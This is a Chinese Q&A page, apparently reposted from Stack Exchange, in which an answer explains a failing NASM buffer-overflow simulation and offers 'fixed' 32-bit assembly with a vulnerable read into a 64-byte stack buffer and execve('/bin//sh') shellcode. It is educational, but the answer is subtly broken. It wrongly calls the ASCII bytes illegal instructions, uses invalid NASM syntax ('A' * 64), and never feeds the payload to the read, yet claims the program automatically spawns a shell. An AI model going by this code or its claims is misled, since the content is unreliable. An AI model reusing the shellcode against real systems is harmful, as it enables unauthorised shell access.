模拟缓冲区溢出的Shellcode运行机制及修复方法问询
缓冲区溢出Shellcode问题解析与修复
1. call exploit后的执行问题
call exploit执行时,会把下一条指令的地址——也就是db 'Hello, world!'的起始位置——压入栈,然后跳去执行exploit段的代码。但原代码里exploit最后直接调用了sys_exit,程序直接退出,根本走不到ret返回那一步。就算你删掉sys_exit,执行ret时栈顶的返回地址是那段字符串的地址,处理器会把这些ASCII字节当成x86指令解析:
Hello, world!的十六进制是0x48 0x65 0x6C 0x6C 0x6F 0x2C 0x20 0x77 0x6F 0x72 0x6C 0x64 0x21- 32位模式下这些字节全是非法指令,直接触发程序崩溃,这就是你调试没效果的原因。
2. 原代码的逻辑硬伤
这段代码想模拟缓冲区溢出,但完全搞错了核心场景:
- 正常缓冲区溢出是存在一个有漏洞的函数(比如用
gets往栈上的小缓冲区写数据,不做长度检查),攻击者构造的payload包含填充字节+shellcode的地址,覆盖栈上的返回地址,让函数返回后跳去执行shellcode。 - 但原代码把shellcode、漏洞逻辑、溢出数据硬塞在同一个代码段里,结构混乱,根本没模拟出“外部输入覆盖返回地址”的关键逻辑。
3. 修复后的可运行代码
重构代码,模拟真实的缓冲区溢出场景:
section .data ; 攻击payload:64字节填充填满缓冲区,后面跟shellcode的地址 exploit_payload db 'A' * 64 ; 刚好填满栈上的64字节缓冲区 dd shellcode ; 覆盖栈上的返回地址,指向shellcode入口 section .text global _start _start: ; 调用有漏洞的函数 call vulnerable_func ; 没触发漏洞的话正常退出 mov eax, 1 xor ebx, ebx int 0x80 ; 有缓冲区溢出漏洞的函数:栈上分配64字节缓冲区,模拟无长度检查的输入 vulnerable_func: push ebp mov ebp, esp sub esp, 64 ; 栈上开辟64字节缓冲区 ; 模拟不安全的输入操作:把payload写入栈缓冲区(实际场景是gets/read) mov eax, 3 mov ebx, 0 mov ecx, esp ; 栈缓冲区的地址 mov edx, 68 ; 64字节填充+4字节地址,总长度超过缓冲区大小,触发溢出 int 0x80 leave ret ; 这里返回地址已经被覆盖,会跳去执行shellcode ; 执行/bin/sh的shellcode shellcode: ; 调用sys_execve执行/bin/sh xor eax, eax push eax push 0x68732f2f ; 十六进制的"//sh"(用双斜杠凑对齐) push 0x6e69622f ; 十六进制的"/bin" mov ebx, esp ; ebx指向"/bin//sh"的地址 push eax mov edx, esp ; edx是环境变量数组(NULL) push ebx mov ecx, esp ; ecx是参数数组(["/bin//sh", NULL]) mov al, 11 ; sys_execve的系统调用号 int 0x80
4. 编译运行说明
- 编译32位程序:
nasm -f elf32 overflow.asm -o overflow.o; ld -m elf_i386 overflow.o -o overflow - GDB调试时,在
vulnerable_func的ret指令处打断点,查看栈顶的返回地址是否被替换成shellcode的地址 - 运行程序后,会自动触发缓冲区溢出,弹出shell
内容的提问来源于stack exchange,提问作者clive
相关产品推荐
相关产品推荐

